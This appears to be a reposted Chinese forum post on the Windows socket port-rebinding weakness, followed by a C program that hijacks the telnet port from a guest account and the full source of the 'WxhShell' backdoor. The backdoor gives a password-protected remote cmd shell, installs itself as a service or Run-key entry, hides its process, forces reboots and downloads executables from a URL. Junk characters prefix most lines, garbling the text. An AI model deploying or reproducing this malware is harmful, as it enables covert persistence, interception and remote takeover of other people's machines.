在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
K)x6F15r s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s\3]0n9 2vB,{/GXP saddr.sin_family = AF_INET;
`}P9[HP _&q&ID saddr.sin_addr.s_addr = htonl(INADDR_ANY);
a'-xCV|^ 3,i`FqQa bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8hy1yt6t4~ Xo(W\Pes 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
~7j-OWz9 IeChz d 这意味着什么?意味着可以进行如下的攻击:
<l,e6K hx%UZ <a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
B
(h`~pb .
P44t 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
NI:OL
9\Rk(dd 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[Z'4YXS ML$#&Z@
*7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
M{u 7Ef _u_|U 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
k-*k'S_ p8F$vx4, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ZFX}=?+ jMR9E@>~E 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Z^mIGy} +&X>ul #include
)"P.n-aF #include
kz#x6NXj #include
r!>=G% #include
H lFVc DWORD WINAPI ClientThread(LPVOID lpParam);
RC"xnnIJv int main()
[sPLu)q2 {
B%[#["Ol WORD wVersionRequested;
}LIf]YK DWORD ret;
u4=ulgi WSADATA wsaData;
j\.pS^+ BOOL val;
pek5P4W_ SOCKADDR_IN saddr;
~fgS"F^7n SOCKADDR_IN scaddr;
ocp3J R_0 int err;
y(K:,CI SOCKET s;
;P|v'NNI SOCKET sc;
H:1F=$0I9 int caddsize;
_{i-.;K HANDLE mt;
@yPI$"Ma DWORD tid;
5bK:sht wVersionRequested = MAKEWORD( 2, 2 );
]=0D~3o3 err = WSAStartup( wVersionRequested, &wsaData );
ol4!#4Y&{ if ( err != 0 ) {
exm*p/ printf("error!WSAStartup failed!\n");
!.{{QwZ return -1;
ybm&g( -\ }
UB;~Rf( . saddr.sin_family = AF_INET;
+qF,XJ2 yF&?gPh& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
eY$Q}BcW 5U l=Nv] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
fAR0GOI saddr.sin_port = htons(23);
%eqL)pC] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
BtWm ZaKi {
5HbPS%^. printf("error!socket failed!\n");
5adB5)` return -1;
Zo(QU5m0 }
_UeIzdV9 val = TRUE;
}"chm=b //SO_REUSEADDR选项就是可以实现端口重绑定的
Riz!HtyR if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
h5#V,$ {
#T)gKp printf("error!setsockopt failed!\n");
Rh#TR" return -1;
.7GAGMNS }
QVrMrm+vRv //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Mj@ 0F
2hy //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]O;Rzq{D( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=G2A Ufn F{aM6I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
9Lxj
]W2^ {
7^:0?Q ret=GetLastError();
AU
+2' printf("error!bind failed!\n");
|LDo<pE*V4 return -1;
7[ra#>e8' }
!23#Bz7 listen(s,2);
lTv_%hUp while(1)
_7zER6#} {
MoP0qNk caddsize = sizeof(scaddr);
A5ps|zidI //接受连接请求
~FV
Z0%+, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
sf5koe if(sc!=INVALID_SOCKET)
uB:utg {
cx8H.L mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
7L:$Amb_F if(mt==NULL)
z_J"Qk {
8BZDaiE" printf("Thread Creat Failed!\n");
B6b {hsO break;
1vQj` F }
%h%^i
}
)LwB CloseHandle(mt);
*lIK?" mo }
\TrhJ closesocket(s);
n'JwT!
A WSACleanup();
NY
ZPh%x return 0;
J,E'F!{ }
E:&ga}h DWORD WINAPI ClientThread(LPVOID lpParam)
F3b[L^Km] {
g9;}?h SOCKET ss = (SOCKET)lpParam;
<5~} !N X` SOCKET sc;
|:tFQ.Z'2 unsigned char buf[4096];
(6G5UwSt SOCKADDR_IN saddr;
7oDr`=q1]r long num;
@"H+QVJ@ DWORD val;
QO)Q%K, DWORD ret;
KwRO?G9& //如果是隐藏端口应用的话,可以在此处加一些判断
H0s,tTK8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!_cT_
WHty saddr.sin_family = AF_INET;
TUiXE~8= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
c)M_&?J!5 saddr.sin_port = htons(23);
q7wd9 6G: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>b0e"eGt {
'wX'}3_/g printf("error!socket failed!\n");
Au"[2cG return -1;
X.g")Bt7 }
\,E;b{PQo6 val = 100;
M*E4:A9_M if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
atFj Vk^ {
}{S W~yW ret = GetLastError();
a$FELlMv return -1;
l0b Y }
yKa}U!$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#T n~hnW {
v.,C"^W ret = GetLastError();
h]c-x(+ return -1;
Vr f` :% }
lvb0dOmY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
t@!X1?`w {
a)[XJLCQ printf("error!socket connect failed!\n");
abCcZ<=|b closesocket(sc);
>)U 7$<&b closesocket(ss);
%n9}P ,
? return -1;
VD+8j29 }
=[?2'riI while(1)
:j
vx-jQ {
}O@S;[v
S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
M:nXn7)+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
(( Ec:(:c //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
.7Ys@;>B num = recv(ss,buf,4096,0);
co<){5zOT if(num>0)
l@<^V N@ send(sc,buf,num,0);
OtF{=7 else if(num==0)
g^^%4Y break;
.F?yt5{5No num = recv(sc,buf,4096,0);
=6j
5, if(num>0)
0: h;ots' send(ss,buf,num,0);
Nj.(iBmr else if(num==0)
KcfW+>W3 break;
.?_wcp= }
[={pFq` closesocket(ss);
(Y'rEc#H&z closesocket(sc);
zY\v|l<T return 0 ;
LlRvm/ }
H[<"DP 8b(UqyV %zd1\We ==========================================================
2#*Bw= C\.? 3 下边附上一个代码,,WXhSHELL
\Q*3/_}G t_3)} ==========================================================
I\Y/*u U-3KuR+0 #include "stdafx.h"
E[nW B"pxE ^gH.5L0]gH #include <stdio.h>
1b;Aru~l #include <string.h>
EiP_V&\ #include <windows.h>
0FjSa\ZH #include <winsock2.h>
?O\n!c #include <winsvc.h>
REoFP;H~ #include <urlmon.h>
QCa$<~c N^h,[ #pragma comment (lib, "Ws2_32.lib")
uc=-+*D'I #pragma comment (lib, "urlmon.lib")
5p94b*l 5^GUuFt5m #define MAX_USER 100 // 最大客户端连接数
`8xe2=Ub #define BUF_SOCK 200 // sock buffer
WsJ3zZc #define KEY_BUFF 255 // 输入 buffer
q'3= -:a
9'dT #define REBOOT 0 // 重启
4eBM/i #define SHUTDOWN 1 // 关机
0RYh4'=F H `),PY2 #define DEF_PORT 5000 // 监听端口
_
97F -g;iMqh# #define REG_LEN 16 // 注册表键长度
?%;7k'0" #define SVC_LEN 80 // NT服务名长度
@]Iku 6d- ~hE"B)
e // 从dll定义API
RA>xol~xy typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
f@[q# }6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
NLoJmOi;L7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'Xxt[Jy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!j%v Ue;t b0PF7PEEQ // wxhshell配置信息
~BrERUk struct WSCFG {
V. =! ^0'A int ws_port; // 监听端口
UXDd8OJL char ws_passstr[REG_LEN]; // 口令
"CT'^d+ int ws_autoins; // 安装标记, 1=yes 0=no
ojT TYR{ char ws_regname[REG_LEN]; // 注册表键名
(/v(.t char ws_svcname[REG_LEN]; // 服务名
c[3sg char ws_svcdisp[SVC_LEN]; // 服务显示名
,kpkXK char ws_svcdesc[SVC_LEN]; // 服务描述信息
,m8l
/wG char ws_passmsg[SVC_LEN]; // 密码输入提示信息
nP0|nPWz# int ws_downexe; // 下载执行标记, 1=yes 0=no
eqZ V/a char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!-U5d9! char ws_filenam[SVC_LEN]; // 下载后保存的文件名
uPr@xff Gi6sl_"q };
QyJ}zwD i`FevAx;[m // default Wxhshell configuration
J5*krH2i struct WSCFG wscfg={DEF_PORT,
?Z.p.v "xuhuanlingzhe",
'.c[7zL 1,
Nm\0>} "Wxhshell",
#[qmhU{s "Wxhshell",
g"`BNI]Qp "WxhShell Service",
ltwX- "Wrsky Windows CmdShell Service",
?y>P "Please Input Your Password: ",
r0+lH:G*q 1,
+Hc[5WL "
http://www.wrsky.com/wxhshell.exe",
B~D{p t3y "Wxhshell.exe"
K;k_MA310 };
J LT10c3 W.r0W2))( // 消息定义模块
VY<$~9a&1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
(Dlh;Ic
r9 char *msg_ws_prompt="\n\r? for help\n\r#>";
/a[i:Oa# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_<6
^r char *msg_ws_ext="\n\rExit.";
@mSdksB/L char *msg_ws_end="\n\rQuit.";
Nv,1F char *msg_ws_boot="\n\rReboot...";
[ %cW ?@ char *msg_ws_poff="\n\rShutdown...";
}TzMWdT char *msg_ws_down="\n\rSave to ";
=ps3=D "T=Z/@Vy char *msg_ws_err="\n\rErr!";
zflq|d W char *msg_ws_ok="\n\rOK!";
<4ccT l q6bi{L@/R char ExeFile[MAX_PATH];
oM G8?p int nUser = 0;
IDQ@h`"B HANDLE handles[MAX_USER];
~Z9Eb|B int OsIsNt;
]P;uQ! "1FPe63\*O SERVICE_STATUS serviceStatus;
P"Lk(gY SERVICE_STATUS_HANDLE hServiceStatusHandle;
E
( ![h+R@_( // 函数声明
)_k"_VVcC int Install(void);
IFcxyp int Uninstall(void);
@<=x fs int DownloadFile(char *sURL, SOCKET wsh);
]VtVw^ ir int Boot(int flag);
#tg,%*.s void HideProc(void);
d[E~}Dq3# int GetOsVer(void);
M<s16 int Wxhshell(SOCKET wsl);
^,*ED Yz void TalkWithClient(void *cs);
7?!A~Seo| int CmdShell(SOCKET sock);
!~Gx@Ro int StartFromService(void);
)hs"P%Zg int StartWxhshell(LPSTR lpCmdLine);
ZKy)F-yX eG&\b-% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
me:~q#k VOID WINAPI NTServiceHandler( DWORD fdwControl );
=lT~ QK% Nt // 数据结构和表定义
l/1u>' SERVICE_TABLE_ENTRY DispatchTable[] =
,5!&} {
POvxZU {wscfg.ws_svcname, NTServiceMain},
.1n=&d| {NULL, NULL}
)3K# ${p };
ZByxC*Cz Tzr_K // 自我安装
\|e>(h!l; int Install(void)
I|zak](HU {
8Na.H::cZ char svExeFile[MAX_PATH];
<Qg).n>;z HKEY key;
Lzmdy0!' strcpy(svExeFile,ExeFile);
<A|X4; ?*DM|hzOi // 如果是win9x系统,修改注册表设为自启动
< z':_, if(!OsIsNt) {
Y-2IAJHS8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{1?94rz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mj{B_3b5 RegCloseKey(key);
K[wny0 ( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d*qb^C{'" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
L& = a( RegCloseKey(key);
#IJm*_J< return 0;
\Ui3=8( }
CFE ubEb }
(rKyX:Vsy }
MB7UI8 else {
L`'#}#O l ?'_Ty`vT // 如果是NT以上系统,安装为系统服务
->Z9j(JU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\r
%y^G if (schSCManager!=0)
HQp \0NC] {
x[?N[>uw SC_HANDLE schService = CreateService
@jL](Mq|] (
SjosbdD schSCManager,
ak,KHA6u wscfg.ws_svcname,
0Q7teXRM wscfg.ws_svcdisp,
m}UcF oaO SERVICE_ALL_ACCESS,
6jw9p+. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
is~"yE7 SERVICE_AUTO_START,
'/OcJVSR SERVICE_ERROR_NORMAL,
Pj-.oS2dA svExeFile,
}b5omHUE% NULL,
P"(VRc6x NULL,
QhhL_vP NULL,
,(u-q]8
NULL,
"D\>oFu NULL
ZLjEH7 );
?"F9~vx&G if (schService!=0)
=oE(ur {
W
[*Go CloseServiceHandle(schService);
sYEh>%mo^C CloseServiceHandle(schSCManager);
H(hE;|q/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>&DC[)28 strcat(svExeFile,wscfg.ws_svcname);
) $`}~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
dhX$b!DA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
b(IZ:ekZ5 RegCloseKey(key);
Ypx5:gm|J return 0;
X-=4Z9 }
M(^_/1Z }
y
Nc@K| CloseServiceHandle(schSCManager);
M7[GwA[Z
+ }
C669:% }
8J#U=qYei mtg=v@~ return 1;
C'y4 ~7 }
o;9 G{Xj3@ "S]G+/I|iw // 自我卸载
r6eZ-V`4 int Uninstall(void)
eB&.keO
{
KE4#vKV0yC HKEY key;
&^UT *@ { if(!OsIsNt) {
*rgF[
: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Pn,>eD*g RegDeleteValue(key,wscfg.ws_regname);
4VHWoN"U RegCloseKey(key);
fN1b+d~*6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HUAbq } RegDeleteValue(key,wscfg.ws_regname);
ih|;H:"^ RegCloseKey(key);
YV8PybThc return 0;
QuP)j1"X }
VbDk44X.W }
@Di!~e6 }
hx*4xF else {
<PFF\NE9 y!dw{Lz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8(Q|[ if (schSCManager!=0)
K.=5p/^a {
m68>` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
27+~!R~Yw if (schService!=0)
cij8'("+! {
T, +=ka$ if(DeleteService(schService)!=0) {
v}J0j CloseServiceHandle(schService);
9[`c"Pd CloseServiceHandle(schSCManager);
K_AdMXF9 return 0;
joDqv,iW8 }
.p]rS
=# CloseServiceHandle(schService);
P:_bF>r ? }
_R(9O?;q CloseServiceHandle(schSCManager);
q9H\ $ }
mr2Mu }
H|0-Al.{ wMw}3qX$j return 1;
>S-JAPuO }
v
k=|TE Ud Vf/PGx // 从指定url下载文件
1l/t|M^I int DownloadFile(char *sURL, SOCKET wsh)
Z^}[CQ&Am {
FW5v
1s= HRESULT hr;
Fg 8lX9L char seps[]= "/";
>gs_Bzy] char *token;
3A{)C_1a char *file;
m ?; ?I]` char myURL[MAX_PATH];
]kXWeY < char myFILE[MAX_PATH];
6"
<(M@ K@JaN/OM strcpy(myURL,sURL);
AAs&P+;
token=strtok(myURL,seps);
w[D]\>QHa while(token!=NULL)
Q-!gO {
>_xuXEslUz file=token;
g1?9ge1 token=strtok(NULL,seps);
liG|#ny{ }
*Wvk~ 5~/EAK` GetCurrentDirectory(MAX_PATH,myFILE);
-)B_o#2=2 strcat(myFILE, "\\");
"OA{[)fw" strcat(myFILE, file);
jVLJqWP'! send(wsh,myFILE,strlen(myFILE),0);
M|j=J{r send(wsh,"...",3,0);
9gdK&/ulR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lz::6} if(hr==S_OK)
>d=pl}-kOQ return 0;
wPm else
W8$0y2 return 1;
SASLeGaV ez ! W0 }
*Ow2,{Nn b- e // 系统电源模块
YvcV801Go int Boot(int flag)
me{u~9& {
:fwt PvLo HANDLE hToken;
z6l'v~\ TOKEN_PRIVILEGES tkp;
x~R,rb
uDXV@;6< if(OsIsNt) {
b=1E87i@W OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
enZZ+|h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
p4MWX12 tkp.PrivilegeCount = 1;
(xN1?qXB. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!`RMXUV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
3 (\D.Z if(flag==REBOOT) {
qbeUc5`1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
__Ksn^I return 0;
$-Ex
g*i }
(AtyM?* else {
mB"I(>q*M if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
!OY}`a(z return 0;
(DY[OIHI }
.?Y"o3 }
Wh| T3& else {
+x}9a~QG# if(flag==REBOOT) {
0"%dPKi if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9$z$yGjl return 0;
D?"P\b[/ }
}.E^_` else {
M1xsGa9h& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
65qqs|&w;[ return 0;
l#1#3F }
|r Aot2 }
$8UW^#Bpq Vi-Ph;6[ return 1;
;z.niX .fx }
*0^~@U {FI*oO1A~ // win9x进程隐藏模块
0jlM~ H void HideProc(void)
J|f29B-c {
qc
@cdi *$-X&.h[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
{<gv1Yht if ( hKernel != NULL )
rY45.,qWs {
v;o1c44; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
zU~ Ff"< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[QgP6f]= FreeLibrary(hKernel);
IUv#nB3 }
VnsV&cx ;un@E: return;
77O$^fG2 }
2 wY|E<E >bf.T7wy // 获取操作系统版本
e7@ m i int GetOsVer(void)
uW!XzX[' {
oc( '!c OSVERSIONINFO winfo;
D/."0 #q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
H)D|lt5xy GetVersionEx(&winfo);
jjj<B'zt if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
H575W"53 return 1;
p lnH else
OA3J(4!"W return 0;
hbx4[Pf }
y ;[~(Yg[ w!20 // 客户端句柄模块
5U475& int Wxhshell(SOCKET wsl)
fasWb&~z {
hYkkr& SOCKET wsh;
Bgm8IK)6 struct sockaddr_in client;
W`Gbo
uxd DWORD myID;
|?^<=% bzNnEH`^] while(nUser<MAX_USER)
'2r {
6AAvsu: int nSize=sizeof(client);
sq_>^z3T wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
k=mQG~ if(wsh==INVALID_SOCKET) return 1;
F5Xb_&
s0?'mC+p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
5eori8gr7 if(handles[nUser]==0)
dRron_' closesocket(wsh);
@ar%`+_ else
Zt3sU_ nUser++;
et
1HbX }
9<_hb1' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A?lLK&* gt}Atr6>_ return 0;
dA hcA. }
eVf D&&@ #AGO~#aK // 关闭 socket
z[c8W@OJ void CloseIt(SOCKET wsh)
.Od:#(aq {
KY closesocket(wsh);
utZI'5i nUser--;
@GKDSS4jv ExitThread(0);
,zoHmV1Wd+ }
lm4A%4-db s9wzN6re // 客户端请求句柄
2.Vrh@FNRo void TalkWithClient(void *cs)
+yO) 3 {
XS&Pc 5<(*
+mP` SOCKET wsh=(SOCKET)cs;
#g6 _)B=S char pwd[SVC_LEN];
QPf\lN/$4d char cmd[KEY_BUFF];
Dr.eos4 ~ char chr[1];
}'P|A int i,j;
eQ[akVMk ([q>.[WbH] while (nUser < MAX_USER) {
~%*l>GkP* jI8`trD if(wscfg.ws_passstr) {
@H?OHpJ"` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#!Cg$6%x9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
LOkgeJuWv //ZeroMemory(pwd,KEY_BUFF);
viG= Ap.Th i=0;
_|C3\x1c while(i<SVC_LEN) {
2@a'n@- i<Ms2^ // 设置超时
/9ORVV fd_set FdRead;
t[!,puZc# struct timeval TimeOut;
\>:t={>; FD_ZERO(&FdRead);
= cxO@Fu FD_SET(wsh,&FdRead);
w~B1TfqNo TimeOut.tv_sec=8;
DL,R~ TimeOut.tv_usec=0;
@-)S*+8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
X{#^O/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ODu/B'*
PNAvT$0LaZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qOG@MR(5 pwd
=chr[0]; xCL)<8[R,}
if(chr[0]==0xd || chr[0]==0xa) { l#cVQ_^"
pwd=0; Q)aoc.f!v
break; ? /!Fv/
} zk$h71<{.
i++; l atm_\
} GThGV"
G:b6Wf
// 如果是非法用户,关闭 socket Q%aF~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :c]y/lQmV
} mL1ZSX
o!
;VCV%=W<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]Yt3@ug_f
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JL_(%._J
}%w;@[@L
while(1) { hRuiuGC
}%wP^6G*x\
ZeroMemory(cmd,KEY_BUFF); rIPg,4y*S!
tz65Tn_M
// 自动支持客户端 telnet标准 fX9b1x
j=0; Qq{tX
while(j<KEY_BUFF) { w:B&8I(n}w
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CPa+?__B
cmd[j]=chr[0]; vH6(p(l
if(chr[0]==0xa || chr[0]==0xd) { TH4f"h+B3"
cmd[j]=0; G AH<
break; XKp(31])
} 7]u_
j++; 8u[.s`^
} :6C R~p
vyc<RjS_x
// 下载文件 miBCq l@x
if(strstr(cmd,"http://")) { .))k
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0F!Uai1
if(DownloadFile(cmd,wsh)) aEQrBs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rfdA?X{Q0
else unYPvrd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sk5=$My
} cJT_Qfxx
else { tvJl-&'N
1\-lAk!
switch(cmd[0]) { F9w2+z.
.h
w(;
// 帮助 f3,Xb
]h
case '?': { %xx;C{g;a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \8Ewl|"N:u
break; /jaO\t'q
} JKYtBXOl
// 安装 r+]a
case 'i': { ,iiI5FR
if(Install()) Q\~#cLJ/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *JW.ca}
else I`{=[.c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' z^v}~
break; MmfshnTN
} ]~m=b`o
// 卸载 BH^cR<<j
case 'r': { >Y3zO 2Cr
if(Uninstall()) ;%n(ARZ#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<YF.7r;
else Y% [H:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U$ZbBVa`~
break; 2zjY|g/
} '~6l
6wi
// 显示 wxhshell 所在路径 :OaGdL
case 'p': { IgF#f%|Q
char svExeFile[MAX_PATH]; dI,H:g
strcpy(svExeFile,"\n\r"); ,l)AYu!q4F
strcat(svExeFile,ExeFile); H,fVF837
send(wsh,svExeFile,strlen(svExeFile),0); {6*UtG
break; toox`|
} ~bjT,i
// 重启 >&qaT*_g
case 'b': { .w~L0(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _ZuI x=!
if(Boot(REBOOT)) ^[ >
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BI6`@}%7>
else { $)O\i^T
closesocket(wsh); n22OPvp
ExitThread(0); VS<w:{*
} apm,$Vvjy
break; <daBP[
} iEBxBsz_
// 关机 >3ASrM+>w
case 'd': { 0Szt^l 7
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (7PVfS>;
if(Boot(SHUTDOWN)) t9kqX(!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QtqE&j
else { x8h=3e$
closesocket(wsh); BG@[m
ExitThread(0); ^t)alNGos
} v.]W{~PI2V
break; )0@&pEObm
} oo,3mat2C
// 获取shell Ru`7Xd.
case 's': { ^F$iD (f
CmdShell(wsh);
Zv1/J}+
closesocket(wsh); Ds%~J
ExitThread(0); m[*y9A1
break; ![@\p5-e
} Q-S5("
// 退出 d[Rs
case 'x': { @$d_JwI
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r)t-_p37
CloseIt(wsh); *6*/kV?F
break; X6c ['Zrc
} q1o)l
// 离开 ?t];GNU`l
case 'q': { r*s)T`T}}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )SFyQ
closesocket(wsh); +LAj h)m
WSACleanup(); 0Fm,F&12
exit(1);
HvVS<Ke
break; 2(sq*!tX
} 3sq(FsT
} T$;N8x[
} d#G H4+C
|G]M"3^
// 提示信息 v/lQ5R1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @#5PPXp
} _-g?6q
} 6*H F`@(
-{XXU )Z
return; Fs EPM"&?h
} DN;An0
{MK
.!hB tR
// shell模块句柄 uEKa
FRm
int CmdShell(SOCKET sock) bfjtNF*^
{ FsYsQ_,R3
STARTUPINFO si; *6e 5T
ZeroMemory(&si,sizeof(si)); & ]/Z~V t
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %@d~)f
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7&z`N^dz{
PROCESS_INFORMATION ProcessInfo; \hwz;V.J"
char cmdline[]="cmd"; C7[CfcPA
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \!4sd2Yi
return 0; /P/S0
} 0vRug|}k#%
&